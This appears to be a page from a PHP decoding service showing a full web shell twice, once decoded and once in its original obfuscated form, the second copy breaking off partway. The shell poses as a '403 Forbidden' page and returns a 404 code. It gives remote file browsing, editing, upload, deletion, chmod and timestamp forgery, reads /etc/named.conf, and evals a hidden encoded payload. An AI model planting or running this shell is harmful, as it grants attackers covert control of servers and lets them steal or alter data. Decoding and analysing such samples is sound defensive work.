Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto BNwKT; i_iEr: function e($s) { return base64_encode($s); } goto arc1b; RvCsR:..
Decoded Output download
<?php
goto BNwKT; i_iEr: function e($s) { return base64_encode($s); } goto arc1b; RvCsR: goto LJQkQ; goto KxNJV; fR7I8: Ub2Ba: goto piOLp; zaNiW: echo $dir; goto mLwTp; gBB5C: LZJ23: goto asLZD; wGrnv: goto Ub2Ba; goto pG48T; R7KSH: m1QUh: goto cq6RL; hqxIj: goto veYrr; goto CMdYc; J1Aoo: if (isset($_GET["chtime"], $_GET["new"])) { if (touch($_GET["chtime"], intval(strtotime($_GET["new"])))) { echo "<span class="success">TIME MACHINE SUCCESS!</span>"; } else { echo "<span class="failed">TIME MACHINE FAILED!</span>"; } } goto ajGdr; veNr9: goto kewHO; goto sz7dL; XqfJU: goto K42CU; goto RvSqW; F7LVR: Ieky2: goto i6_9J; gHYUO: ?>
<!doctypehtml><html><head><meta content="width=device-width,initial-scale=0.5,user-scalable=yes"name="viewport"><title>403 Forbidden</title><style>body,button,html,input{background:#000;color:gray;font-family:monospace}a{color:gray;text-decoration:none}button,input{border:1px solid gray;height:1.7em}table{width:100%;border:1px dotted gray;border-spacing:0}tr:hover{background:#161616}td,th{padding:2px 0;border:1px solid #666}textarea{width:80%;height:50vh;background:#000;color:green;tab-size:4}.btn{border:1px solid #666;border-radius:.3em;padding:0 .3em;display:inline-block;text-align:center}.btn:hover{border-color:#fff;background-color:#000;transition:background-color .2s linear}.directory{background:#444654}.directory:before{content:"DIR/";color:gray}.file{background:#343641}.file:before{content:"-";color:gray}.notwritable,.notwritable a{color:#ff7800}.writable,.writable a{color:#49ff00}.symlink{float:right;color:#e2c275}.icon{font-size:1.5em;padding:.1em .2em;margin:0}.delete:before{content:"F6AE";opacity:.7}.rename:before{content:"D";color:#00f}.download:before{content:"9393";color:green}.openlink:before{content:"F517"}.success{color:#ff0}.success:before{content:"C"}.failed{color:red}.failed:before{content:"2"}</style><script>function e(e){return btoa(e)}function chmod(n,r){var t=prompt("CHMOD:",r);return!!t&&(n.href+="&new="+e(t),!0)}function chtime(n,r){var t=prompt("Change modified time:",r);return!!t&&(n.href+="&new="+e(t),!0)}function rename(n,r){var t=prompt("Rename:",r);return!!t&&(n.href+="&new="+e(t),!0)}</script></head><body>YOUR IP:<?php goto A6t2D; xj8ni: ?>
<br><a href="?info=info"class="btn"target="__blank">SERVER INFO</a>:<?php goto O3Eyl; fEgS8: if (isset($_GET["chmod"], $_GET["new"])) { if (chmod($_GET["chmod"], intval($_GET["new"], 8))) { echo "<span class="success">CHMOD SUCCESS!</span>"; } else { echo "<span class="failed">CHMOD FAILED!</span>"; } } goto xq3aR; AWZSS: x1s75: goto bi4Ss; i6_9J: $edir = "dir=" . e($dir); goto a1CgJ; KxNJV: m2IZa: goto BabSE; pQXJH: UGzkw: goto WEvct; f5Tl8: $dir = realpath(isset($_GET["dir"]) ? $_GET["dir"] : __DIR__); goto lWxTw; JLNeN: xD2Xi: goto xj8ni; c_PQ8: goto GKrTq; goto gBB5C; cuLQq: sCoxG: goto J1Aoo; O0otz: ini_set("display_errors", 1); goto qw3kc; cjvMb: K42CU: goto gHYUO; nVkr8: if (isset($_GET["info"]) && $_GET["info"] === "info") { phpinfo(); die; } goto c_PQ8; O3Eyl: goto XC1Yu; goto jlVUa; Ck1bY: function size($path, $decimals = 0) { $bytes = filesize($path); $factor = floor((strlen($bytes) - 1) / 3); if ($factor > 0) { $sz = "KMGT"; } return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "B"; } goto CdKzk; sz7dL: veYrr: goto phEl3; l9Vh8: UtMjm: goto RUjrO; r4LxA: if (isset($_GET["dl"])) { if (!realpath($_GET["dl"])) { die; } header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($_POST["dl"]) . """); readfile($_GET["dl"]); die; } goto veNr9; wrkwE: hPs32: goto zaNiW; GJOkb: LJQkQ: goto f5Tl8; BNwKT: goto jftpU; goto xsbkO; TQBFV: ?>
</center><form onsubmit="dir.value=e(dir.value)">Directory: <input class="<?php goto cnZCM; JDhoA: gZWA2: goto ABY8Z; Lpk3v: foreach (scandir($dir) as $p) { if (is_dir($dir . "/" . $p)) { if ($p != ".") { $dirs[] = $dir . "/" . $p; } } else { $files[] = $dir . "/" . $p; } } goto BlmfC; aMVZJ: ?>
"name="dir"id="dir"style="width:500px"value="<?php goto at6r4; KP4Rl: goto Ws2q7; goto cuLQq; ZTCCD: goto LZJ23; goto J08qm; SaXIw: echo php_uname(); goto XqPXF; lGLYy: goto Ieky2; goto JLNeN; J08qm: LpZSp: goto d33NZ; asLZD: echo e(realpath($_SERVER["DOCUMENT_ROOT"])); goto VqOuq; plBmh: echo e(realpath(__DIR__)); goto HdvOV; t71iH: function symlinkDomain($dom) { $d0mains = @file("/etc/named.conf", false); if (!$d0mains) { $dom = "<font color=red size=3px>Cant Read [ /etc/named.conf ]</font>"; $GLOBALS["need_to_update_header"] = "true"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "zone")) { preg_match_all("#zone "(.*)"#", $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "{$count} Domain"; } return $dom; } goto mAkgu; CMdYc: c7Q09: goto hnWzy; RvSqW: LR6tS: goto JvvTO; aH7m2: UJMti: goto MFYuX; IFH7w: goto jicsp; goto hdLWB; lWxTw: goto x1s75; goto pQXJH; M9Lxh: iM4rT: goto ngQKO; SDDN2: eCm9p: goto SbJoI; ABY8Z: $files = array(); goto IIpbF; xq3aR: goto sCoxG; goto lS3rP; c8ikz: sxAjy: goto fUyFB; sGigH: goto P16Sh; goto TqkBG; uZrZs: FIKKi: goto HgZ6_; d8MBa: goto LpZSp; goto M9Lxh; BlmfC: goto moCtt; goto TE6wc; QS__K: zTEkQ: goto nVkr8; at6r4: goto hPs32; goto FY0vl; ZG1F3: goto sxAjy; goto wrkwE; EWbVT: goto LR6tS; goto YIGZv; ATGm_: Ws2q7: goto fR3Fg; phEl3: echo gethostbyname($_SERVER["HTTP_HOST"]) . " / " . $_SERVER["SERVER_NAME"]; goto M9_9I; A6t2D: goto wPxEo; goto ZW3i6; fUhM8: goto xD2Xi; goto ztKse; LEolN: goto iCNet; goto SDDN2; QYPM4: http_response_code(404); goto QX4z5; SbJoI: ?>
DOMAIN ON SERVER :<?php goto wGrnv; eH66C: goto tzs1d; goto c8ikz; jh4C0: goto rBvqN; goto SY6UO; L6qXL: goto cLtwK; goto R7KSH; cJ6U7: goto gZWA2; goto G2GFr; yabiI: q3FKZ: goto G9j3F; HdvOV: goto fEYxs; goto VRzrg; qw3kc: goto iM4rT; goto yabiI; VRzrg: JDqVU: goto zbFjn; jQ2H_: goto UtMjm; goto jxdmx; tDX3q: goto Yw6Fi; goto M1glt; RUjrO: if (isset($_GET["delete"])) { $x = str_replace("X", '', "XuXnXlXiXnXkX"); if ($x($_GET["delete"])) { echo "<span class="success">DELETE SUCCESS!</span>"; } else { echo "<span class="failed">DELETE FAILED!</span>"; } } goto VkiwN; G9j3F: ?>
<br><?php goto sGigH; piOLp: echo symlinkDomain($dom); goto fUhM8; I979M: ?>
">[Shell Path]</a></form><table><tr><th></th><th>SIZE</th><th>Modified Date</th><th>PERMS</th><th>ACTION</th></tr><?php goto FVQ3G; j0t8m: ?>
"name="file"type="file"><button type="submit">Upload</button></form><center><?php goto Rh8Wx; r9GuX: echo $_SERVER["REMOTE_ADDR"]; goto lb6r4; cnZCM: goto UGzkw; goto O6Xme; XqPXF: goto FIKKi; goto F7LVR; cq6RL: ?>
"><button>GO</button><a href="?dir=<?php goto ZTCCD; onDzB: EJMxG: goto kg7Xo; hA5Bd: goto OuL0o; goto wiXeF; hnWzy: function d($s) { return base64_decode($s); } goto nq8Lp; wiXeF: cLtwK: goto m2voq; ajGdr: goto Dbb9T; goto onDzB; XjARH: KXE3_: goto lU1nm; SLnYm: error_reporting(0); goto LAdj0; FVQ3G: goto XlRbQ; goto L0iCG; bi4Ss: $dir = $dir ? $dir : __DIR__; goto KP4Rl; Rh8Wx: goto QeiKN; goto UQQP7; FY0vl: QeiKN: goto HZwZF; fUyFB: eval(str_rot13(gzinflate(str_rot13(base64_decode("cpBaeIQwEEDv/oogTxT8OvTksoXuSd1eV/HQUBcJJlrGuourcBXir6+awhaaWDLzmDeTZGsNogayJw7LivSlVc/U3Ozp9aOgJQmJndjhf3w8pPmG7yQtnkJSlrNG+kHLnTVZGtk3AutrBUuBZekIIEcSUpp/bqAAaCvDOI4bvI1cTitR2PE5TcGDDMUoqEKGSSv0iQKJ7XlHl1K5UYDu2SLL2bSU7B+JiVoO2x4lJXjafjMTBGMVmJClj566FiZeUpegdppg4GUOd6mx6muPve3fPTPCyHvjocdQltM/8Pd0W+9oCGmrJ92zzxrl1T1Gs9yNOuZdbaa69K3S82k/"))))); goto GYuWP; IIpbF: goto eMOpg; goto cjvMb; mAkgu: goto eCm9p; goto YFojd; WEvct: echo is_writable($dir) ? "writable" : "notwritable"; goto eH66C; UQQP7: iCNet: goto plBmh; mLwTp: goto m1QUh; goto ZIJk6; fR3Fg: chdir($dir); goto lGLYy; VkiwN: goto FaueU; goto XjARH; L0iCG: B1jhW: goto i_iEr; GlCeH: echo is_writable($dir) ? "writable" : "notwritable"; goto hA5Bd; nq8Lp: goto zTEkQ; goto xzjkQ; YIGZv: moCtt: goto TQBFV; lS3rP: Yw6Fi: goto tLcTt; O6Xme: jftpU: goto O0otz; LAdj0: goto jnJQU; goto tEvY_; CdKzk: goto EJMxG; goto fR7I8; m2voq: if (!function_exists("posix_getpwuid") && !extension_loaded("posix")) { function posix_getpwuid($x) { return array("name" => "---"); } } goto XqfJU; VaQii: foreach (array_merge($dirs, $files) as $path) { $d = is_dir($path); $w = is_writable($path); ?>
<tr><td class="<?php echo ($d ? "directory" : "file") . " " . ($w ? "writable" : "notwritable"); ?>
"><a href="?<?php echo $d ? "dir=" . e($path) . '' : "file=" . e($path) . "&" . $edir; ?>
"><?php echo htmlspecialchars(basename($path)); ?>
</a><?php echo is_link($path) ? "<span class="symlink">" . readlink($path) . "</span>" : ''; ?>
</td><td><?php echo $d ? "---" : size($path); ?>
</td><td><a href="?chtime=<?php echo e($path) . "&" . $edir; ?>
"class="btn"onclick='return chtime(this,"<?php $chtime = date("M-d-Y H:i:s", filemtime($path)); echo $chtime; ?>
")'><?php echo $chtime; ?>
</a></td><td><a href="?chmod=<?php echo e($path) . "&" . $edir; ?>
"class="btn"onclick='return chmod(this,"<?php echo substr(sprintf("%o", @fileperms($path)), -4); ?>
")'><?php echo perms($path); ?>
</a></td><td><?php if (basename($path) !== "..") { ?>
<a href="?delete=<?php echo e($path) . "&" . $edir; ?>
"class="btn icon delete"onclick='return confirm("Sure to delete?")'title="Delete"></a><a href="?rename=<?php echo e($path) . "&" . $edir; ?>
"class="btn icon rename"onclick='return rename(this,"<?php echo basename($path); ?>
")'title="Rename"></a><?php if (!$d) { echo "<a title="Download" class="btn icon download" href="?dl=" . e($path) . ""></a>"; } } ?>
</td></tr><?php } goto ZG1F3; BabSE: echo $edir; goto lFXMO; d33NZ: $dirs = array(); goto cJ6U7; jlVUa: eMOpg: goto Lpk3v; HgZ6_: ?>
<br><form action="?<?php goto DfpIA; G2GFr: P16Sh: goto t71iH; YFojd: rBvqN: goto GlCeH; TqkBG: jicsp: goto SLnYm; lb6r4: goto JDqVU; goto AWZSS; ZW3i6: hKpRM: goto r4LxA; tEvY_: jnJQU: goto QYPM4; SY6UO: GKrTq: goto fCJbW; zbFjn: ?>
<br>SERVER IP:<?php goto hqxIj; jxdmx: fEYxs: goto I979M; a1CgJ: goto hKpRM; goto JDhoA; hdLWB: tzs1d: goto aMVZJ; DfpIA: goto m2IZa; goto QS__K; tLcTt: foreach ($_POST as $k => $v) { $_POST[$k] = d($v); } goto RvCsR; arc1b: goto c7Q09; goto ATGm_; JvvTO: if (isset($_GET["file"])) { if (isset($_POST["edit"])) { if (@file_put_contents($_GET["file"], $_POST["edit"])) { echo "<span class="success">EDIT SUCCESS!</span>"; } else { echo "<span class="failed">EDIT FAILED!</span>"; } } echo "<form action="?file=" . e($_GET["file"]) . "&" . $edir . "" method="post" onsubmit="edit.value=e(edit.value)"><textarea id="edit" name="edit">" . htmlspecialchars(file_get_contents($_GET["file"]), ENT_QUOTES | ENT_SUBSTITUTE | ENT_COMPAT, "UTF-8") . "</textarea><button>Update</button></form>"; } goto jQ2H_; DmDlc: if (isset($_GET["rename"], $_GET["new"])) { if (rename($_GET["rename"], $dir . "/" . basename($_GET["new"]))) { echo "<span class="success">RENAME SUCCESS!</span>"; } else { echo "<span class="failed">RENAME FAILED!</span>"; } } goto d8MBa; ztKse: Dbb9T: goto DmDlc; lU1nm: ?>
">[Root Path]</a><a href="?dir=<?php goto LEolN; TE6wc: FaueU: goto fEgS8; VqOuq: goto KXE3_; goto l9Vh8; xsbkO: XlRbQ: goto VaQii; MFYuX: ?>
"enctype="multipart/form-data"method="post"><input class="<?php goto jh4C0; fCJbW: foreach ($_GET as $k => $v) { $_GET[$k] = d($v); } goto tDX3q; ngQKO: ini_set("display_startup_errors", 1); goto IFH7w; M9_9I: goto q3FKZ; goto uZrZs; HZwZF: if (isset($_FILES["file"])) { if (move_uploaded_file($_FILES["file"]["tmp_name"], basename($_FILES["file"]["name"]))) { echo "<span class="success">UPLOAD SUCCESS!</span>"; } else { echo "<span class="failed">UPLOAD FAILED!</span>"; } } goto EWbVT; kg7Xo: function perms($path) { clearstatcache(); $perms = fileperms($path); $x = array("U", "p", "c", "U", "d", "U", "b", "U", "r", "U", "l", "U", "s", "U", "U", "U"); $info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) { return $b == "1" ? $m : "-"; }, str_split(decbin($perms & 4095) . ''), str_split("rwxrwxrwx"))); return $info . " " . substr(sprintf("%o", @fileperms($path)), -4); } goto L6qXL; lFXMO: goto UJMti; goto aH7m2; QX4z5: goto B1jhW; goto GJOkb; xzjkQ: XC1Yu: goto SaXIw; ZIJk6: wPxEo: goto r9GuX; pG48T: kewHO: goto Ck1bY; M1glt: OuL0o: goto j0t8m; GYuWP: ?>
</table>Modified By #YERSSSAS :: <a href="https://YERSSSAS.com/YERSSSAS">YERSSSAS.com/YERSSSAS</a> - <a href="https://YERSSSAS.com/">YERSSSAS.com</a></body></html>
Did this file decode correctly?
Original Code
<?php
goto BNwKT; i_iEr: function e($s) { return base64_encode($s); } goto arc1b; RvCsR: goto LJQkQ; goto KxNJV; fR7I8: Ub2Ba: goto piOLp; zaNiW: echo $dir; goto mLwTp; gBB5C: LZJ23: goto asLZD; wGrnv: goto Ub2Ba; goto pG48T; R7KSH: m1QUh: goto cq6RL; hqxIj: goto veYrr; goto CMdYc; J1Aoo: if (isset($_GET["\143\150\164\x69\155\x65"], $_GET["\156\145\x77"])) { if (touch($_GET["\x63\150\164\151\155\x65"], intval(strtotime($_GET["\156\145\x77"])))) { echo "\x3c\x73\x70\x61\x6e\40\x63\x6c\141\x73\x73\x3d\42\163\165\143\x63\145\163\x73\x22\x3e\124\x49\115\105\40\115\101\103\x48\111\x4e\105\x20\123\125\x43\x43\105\123\123\x21\74\57\163\160\141\x6e\76"; } else { echo "\x3c\x73\x70\x61\x6e\40\x63\x6c\x61\163\x73\75\42\x66\x61\151\154\x65\144\x22\x3e\x54\111\x4d\x45\x20\115\101\103\110\111\x4e\x45\x20\106\101\111\114\x45\104\41\74\x2f\x73\160\x61\x6e\76"; } } goto ajGdr; veNr9: goto kewHO; goto sz7dL; XqfJU: goto K42CU; goto RvSqW; F7LVR: Ieky2: goto i6_9J; gHYUO: ?>
<!doctypehtml><html><head><meta content="width=device-width,initial-scale=0.5,user-scalable=yes"name="viewport"><title>403 Forbidden</title><style>body,button,html,input{background:#000;color:gray;font-family:monospace}a{color:gray;text-decoration:none}button,input{border:1px solid gray;height:1.7em}table{width:100%;border:1px dotted gray;border-spacing:0}tr:hover{background:#161616}td,th{padding:2px 0;border:1px solid #666}textarea{width:80%;height:50vh;background:#000;color:green;tab-size:4}.btn{border:1px solid #666;border-radius:.3em;padding:0 .3em;display:inline-block;text-align:center}.btn:hover{border-color:#fff;background-color:#000;transition:background-color .2s linear}.directory{background:#444654}.directory:before{content:"DIR/";color:gray}.file{background:#343641}.file:before{content:"-";color:gray}.notwritable,.notwritable a{color:#ff7800}.writable,.writable a{color:#49ff00}.symlink{float:right;color:#e2c275}.icon{font-size:1.5em;padding:.1em .2em;margin:0}.delete:before{content:"\1F6AE";opacity:.7}.rename:before{content:"\270D";color:#00f}.download:before{content:"\2193\2193";color:green}.openlink:before{content:"\1F517"}.success{color:#ff0}.success:before{content:"\270C"}.failed{color:red}.failed:before{content:"\2622"}</style><script>function e(e){return btoa(e)}function chmod(n,r){var t=prompt("CHMOD:",r);return!!t&&(n.href+="&new="+e(t),!0)}function chtime(n,r){var t=prompt("Change modified time:",r);return!!t&&(n.href+="&new="+e(t),!0)}function rename(n,r){var t=prompt("Rename:",r);return!!t&&(n.href+="&new="+e(t),!0)}</script></head><body>YOUR IP:<?php goto A6t2D; xj8ni: ?>
<br><a href="?info=info"class="btn"target="__blank">SERVER INFO</a>:<?php goto O3Eyl; fEgS8: if (isset($_GET["\x63\x68\x6d\157\x64"], $_GET["\x6e\145\x77"])) { if (chmod($_GET["\x63\x68\x6d\157\144"], intval($_GET["\x6e\145\167"], 8))) { echo "\74\x73\160\141\x6e\40\x63\154\x61\163\x73\x3d\x22\x73\x75\x63\143\145\163\x73\x22\76\x43\x48\x4d\117\x44\40\x53\125\103\x43\x45\x53\123\x21\x3c\57\163\160\x61\x6e\76"; } else { echo "\74\163\x70\141\x6e\x20\143\154\x61\x73\x73\x3d\42\x66\141\151\154\145\x64\42\x3e\103\110\x4d\x4f\x44\x20\x46\101\x49\x4c\x45\104\41\74\57\x73\160\x61\x6e\x3e"; } } goto xq3aR; AWZSS: x1s75: goto bi4Ss; i6_9J: $edir = "\x64\x69\x72\x3d" . e($dir); goto a1CgJ; KxNJV: m2IZa: goto BabSE; pQXJH: UGzkw: goto WEvct; f5Tl8: $dir = realpath(isset($_GET["\x64\x69\x72"]) ? $_GET["\x64\x69\x72"] : __DIR__); goto lWxTw; JLNeN: xD2Xi: goto xj8ni; c_PQ8: goto GKrTq; goto gBB5C; cuLQq: sCoxG: goto J1Aoo; O0otz: ini_set("\x64\151\163\x70\154\x61\171\x5f\x65\162\x72\x6f\162\x73", 1); goto qw3kc; cjvMb: K42CU: goto gHYUO; nVkr8: if (isset($_GET["\151\156\146\x6f"]) && $_GET["\x69\156\146\x6f"] === "\x69\x6e\x66\x6f") { phpinfo(); die; } goto c_PQ8; O3Eyl: goto XC1Yu; goto jlVUa; Ck1bY: function size($path, $decimals = 0) { $bytes = filesize($path); $factor = floor((strlen($bytes) - 1) / 3); if ($factor > 0) { $sz = "\x4b\115\107\x54"; } return sprintf("\45\56{$decimals}\146", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "\x42"; } goto CdKzk; sz7dL: veYrr: goto phEl3; l9Vh8: UtMjm: goto RUjrO; r4LxA: if (isset($_GET["\144\154"])) { if (!realpath($_GET["\x64\154"])) { die; } header("\103\157\156\164\x65\156\164\x2d\x44\145\163\x63\162\151\160\x74\151\157\156\x3a\x20\x46\x69\x6c\145\x20\x54\x72\x61\x6e\x73\x66\x65\x72"); header("\x43\157\156\164\145\156\x74\55\124\x79\x70\x65\x3a\x20\141\x70\x70\x6c\151\x63\x61\164\151\x6f\156\x2f\157\143\x74\x65\164\x2d\163\x74\162\145\141\155"); header("\103\x6f\156\164\x65\156\x74\55\x44\151\x73\x70\x6f\x73\x69\164\151\157\x6e\x3a\x20\141\x74\164\x61\x63\x68\x6d\x65\156\x74\73\40\x66\151\154\x65\x6e\x61\155\145\x3d\x22" . basename($_POST["\144\154"]) . "\42"); readfile($_GET["\144\154"]); die; } goto veNr9; wrkwE: hPs32: goto zaNiW; GJOkb: LJQkQ: goto f5Tl8; BNwKT: goto jftpU; goto xsbkO; TQBFV: ?>
</center><form onsubmit="dir.value=e(dir.value)">Directory: <input class="<?php goto cnZCM; JDhoA: gZWA2: goto ABY8Z; Lpk3v: foreach (scandir($dir) as $p) { if (is_dir($dir . "\57" . $p)) { if ($p != "\56") { $dirs[] = $dir . "\57" . $p; } } else { $files[] = $dir . "\57" . $p; } } goto BlmfC; aMVZJ: ?>
"name="dir"id="dir"style="width:500px"value="<?php goto at6r4; KP4Rl: goto Ws2q7; goto cuLQq; ZTCCD: goto LZJ23; goto J08qm; SaXIw: echo php_uname(); goto XqPXF; lGLYy: goto Ieky2; goto JLNeN; J08qm: LpZSp: goto d33NZ; asLZD: echo e(realpath($_SERVER["\x44\117\103\125\115\105\x4e\124\137\x52\117\117\124"])); goto VqOuq; plBmh: echo e(realpath(__DIR__)); goto HdvOV; t71iH: function symlinkDomain($dom) { $d0mains = @file("\x2f\x65\x74\143\57\156\x61\x6d\145\x64\56\143\x6f\x6e\146", false); if (!$d0mains) { $dom = "\x3c\x66\157\x6e\x74\x20\143\x6f\x6c\x6f\162\75\162\x65\x64\40\163\151\172\x65\x3d\x33\x70\170\x3e\103\x61\156\x74\40\122\x65\x61\x64\x20\x5b\x20\57\x65\164\143\57\156\141\x6d\x65\x64\56\143\157\x6e\146\x20\x5d\74\x2f\146\157\156\x74\x3e"; $GLOBALS["\x6e\145\x65\x64\137\x74\x6f\137\x75\x70\144\141\x74\x65\137\150\145\141\144\x65\162"] = "\164\162\165\145"; } else { $count = 0; foreach ($d0mains as $d0main) { if (@strstr($d0main, "\172\157\156\x65")) { preg_match_all("\x23\x7a\x6f\x6e\x65\40\42\x28\x2e\52\51\42\x23", $d0main, $domains); flush(); if (strlen(trim($domains[1][0])) > 2) { flush(); $count++; } } } $dom = "{$count}\x20\104\157\x6d\141\151\x6e"; } return $dom; } goto mAkgu; CMdYc: c7Q09: goto hnWzy; RvSqW: LR6tS: goto JvvTO; aH7m2: UJMti: goto MFYuX; IFH7w: goto jicsp; goto hdLWB; lWxTw: goto x1s75; goto pQXJH; M9Lxh: iM4rT: goto ngQKO; SDDN2: eCm9p: goto SbJoI; ABY8Z: $files = array(); goto IIpbF; xq3aR: goto sCoxG; goto lS3rP; c8ikz: sxAjy: goto fUyFB; sGigH: goto P16Sh; goto TqkBG; uZrZs: FIKKi: goto HgZ6_; d8MBa: goto LpZSp; goto M9Lxh; BlmfC: goto moCtt; goto TE6wc; QS__K: zTEkQ: goto nVkr8; at6r4: goto hPs32; goto FY0vl; ZG1F3: goto sxAjy; goto wrkwE; EWbVT: goto LR6tS; goto YIGZv; ATGm_: Ws2q7: goto fR3Fg; phEl3: echo gethostbyname($_SERVER["\x48\124\124\x50\137\x48\x4f\123\x54"]) . "\40\x2f\40" . $_SERVER["\x53\x45\122\x56\x45\122\137\x4e\101\x4d\x45"]; goto M9_9I; A6t2D: goto wPxEo; goto ZW3i6; fUhM8: goto xD2Xi; goto ztKse; LEolN: goto iCNet; goto SDDN2; QYPM4: http_response_code(404); goto QX4z5; SbJoI: ?>
DOMAIN ON SERVER :<?php goto wGrnv; eH66C: goto tzs1d; goto c8ikz; jh4C0: goto rBvqN; goto SY6UO; L6qXL: goto cLtwK; goto R7KSH; cJ6U7: goto gZWA2; goto G2GFr; yabiI: q3FKZ: goto G9j3F; HdvOV: goto fEYxs; goto VRzrg; qw3kc: goto iM4rT; goto yabiI; VRzrg: JDqVU: goto zbFjn; jQ2H_: goto UtMjm; goto jxdmx; tDX3q: goto Yw6Fi; goto M1glt; RUjrO: if (isset($_GET["\144\x65\x6c\x65\x74\x65"])) { $x = str_replace("\130", '', "\130\165\x58\x6e\130\x6c\130\151\x58\x6e\x58\153\130"); if ($x($_GET["\x64\145\154\x65\x74\145"])) { echo "\74\163\x70\x61\x6e\40\x63\x6c\141\x73\163\x3d\42\x73\165\143\x63\x65\x73\x73\42\76\x44\105\114\x45\124\105\40\123\x55\x43\103\x45\x53\123\41\74\x2f\x73\160\141\156\x3e"; } else { echo "\x3c\x73\160\x61\x6e\40\143\154\141\163\163\x3d\x22\x66\x61\151\154\x65\144\42\x3e\104\x45\x4c\x45\x54\x45\40\x46\x41\x49\114\x45\104\x21\74\57\163\160\x61\156\76"; } } goto VkiwN; G9j3F: ?>
<br><?php goto sGigH; piOLp: echo symlinkDomain($dom); goto fUhM8; I979M: ?>
">[Shell Path]</a></form><table><tr><th></th><th>SIZE</th><th>Modified Date</th><th>PERMS</th><th>ACTION</th></tr><?php goto FVQ3G; j0t8m: ?>
"name="file"type="file"><button type="submit">Upload</button></form><center><?php goto Rh8Wx; r9GuX: echo $_SERVER["\122\x45\x4d\117\124\x45\x5f\101\x44\104\122"]; goto lb6r4; cnZCM: goto UGzkw; goto O6Xme; XqPXF: goto FIKKi; goto F7LVR; cq6RL: ?>
"><button>GO</button><a href="?dir=<?php goto ZTCCD; onDzB: EJMxG: goto kg7Xo; hA5Bd: goto OuL0o; goto wiXeF; hnWzy: function d($s) { return base64_decode($s); } goto nq8Lp; wiXeF: cLtwK: goto m2voq; ajGdr: goto Dbb9T; goto onDzB; XjARH: KXE3_: goto lU1nm; SLnYm: error_reporting(0); goto LAdj0; FVQ3G: goto XlRbQ; goto L0iCG; bi4Ss: $dir = $dir ? $dir : __DIR__; goto KP4Rl; Rh8Wx: goto QeiKN; goto UQQP7; FY0vl: QeiKN: goto HZwZF; fUyFB: eval(str_rot13(gzinflate(str_rot13(base64_decode("\143\160\102\141\145\111\x51\167\105\105\104\x76\57\157\x6f\147\x54\x78\x54\70\x4f\x76\124\x6b\163\x6f\x58\x75\x53\144\x31\x65\126\x2f\x48\121\x55\102\143\x4a\112\154\162\107\165\x6f\165\x72\143\x42\x58\x69\162\66\53\x61\167\x68\x61\x61\127\x44\x4c\172\x6d\104\145\124\x5a\x47\x73\x4e\x6f\x67\x61\171\112\167\x37\114\151\x76\x53\154\126\x63\x2f\125\63\117\x7a\160\71\141\117\x67\112\x51\x6d\112\x6e\144\x6a\150\x66\x33\167\x38\x70\120\x6d\x47\x37\171\x51\x74\x6e\153\x4a\x53\154\162\116\x47\53\153\x48\114\156\x54\126\x5a\107\x74\153\x33\x41\165\164\162\102\x55\165\x42\x5a\145\153\111\x49\105\143\x53\125\160\x70\57\x62\161\x41\101\141\103\166\x44\x4f\111\64\x62\x76\x49\x31\143\x54\151\x74\122\x32\120\x45\65\x54\143\107\x44\104\115\125\x6f\161\105\x4b\x47\123\123\166\x30\x69\121\113\112\67\x58\154\110\x6c\x31\113\65\x55\131\x44\165\62\x53\x4c\114\62\142\123\125\67\x42\x2b\x4a\x69\126\157\117\x32\170\64\x6c\x4a\x58\x6a\141\146\x6a\x4d\x54\x42\x47\x4d\126\x6d\112\103\154\x6a\x35\66\x36\x46\x69\x5a\x65\x55\x70\145\x67\x64\x70\160\147\64\107\125\117\144\x36\x6d\170\x36\x6d\x75\120\x76\145\x33\146\x50\124\120\x43\x79\x48\166\x6a\157\143\144\121\x6c\164\x4d\x2f\70\x50\144\60\127\53\71\x6f\x43\107\155\x72\x4a\71\62\172\172\170\x72\154\x31\x54\x31\107\163\x39\171\x4e\117\x75\x5a\144\x62\141\141\x36\x39\x4b\63\x53\x38\62\x6b\x2f"))))); goto GYuWP; IIpbF: goto eMOpg; goto cjvMb; mAkgu: goto eCm9p; goto YFojd; WEvct: echo is_writable($dir) ? "\167\x72\151\164\141\142\154\x65" : "\x6e\157\164\x77\162\x69\x74\x61\142\154\x65"; goto eH66C; UQQP7: iCNet: goto plBmh; mLwTp: goto m1QUh; goto ZIJk6; fR3Fg: chdir($dir); goto lGLYy; VkiwN: goto FaueU; goto XjARH; L0iCG: B1jhW: goto i_iEr; GlCeH: echo is_writable($dir) ? "\167\x72\151\x74\x61\142\154\145" : "\156\x6f\164\167\162\151\x74\141\142\x6c\x65"; goto hA5Bd; nq8Lp: goto zTEkQ; goto xzjkQ; YIGZv: moCtt: goto TQBFV; lS3rP: Yw6Fi: goto tLcTt; O6Xme: jftpU: goto O0otz; LAdj0: goto jnJQU; goto tEvY_; CdKzk: goto EJMxG; goto fR7I8; m2voq: if (!function_exists("\160\157\163\x69\170\x5f\147\x65\x74\x70\167\165\151\x64") && !extension_loaded("\x70\x6f\163\151\x78")) { function posix_getpwuid($x) { return array("\156\141\x6d\145" => "\55\x2d\55"); } } goto XqfJU; VaQii: foreach (array_merge($dirs, $files) as $path) { $d = is_dir($path); $w = is_writable($path); ?>
<tr><td class="<?php echo ($d ? "\x64\x69\162\x65\x63\164\x6f\162\x79" : "\146\151\x6c\x65") . "\x20" . ($w ? "\x77\x72\x69\164\x61\142\x6c\x65" : "\x6e\157\164\x77\162\x69\x74\x61\142\154\145"); ?>
"><a href="?<?php echo $d ? "\x64\x69\162\75" . e($path) . '' : "\x66\151\x6c\145\x3d" . e($path) . "\x26" . $edir; ?>
"><?php echo htmlspecialchars(basename($path)); ?>
</a><?php echo is_link($path) ? "\74\163\x70\141\156\x20\x63\154\141\163\x73\x3d\42\x73\171\x6d\154\x69\156\153\42\76" . readlink($path) . "\x3c\57\x73\160\x61\156\76" : ''; ?>
</td><td><?php echo $d ? "\x2d\55\55" : size($path); ?>
</td><td><a href="?chtime=<?php echo e($path) . "\x26" . $edir; ?>
"class="btn"onclick='return chtime(this,"<?php $chtime = date("\x4d\x2d\x64\55\x59\x20\110\x3a\x69\72\x73", filemtime($path)); echo $chtime; ?>
")'><?php echo $chtime; ?>
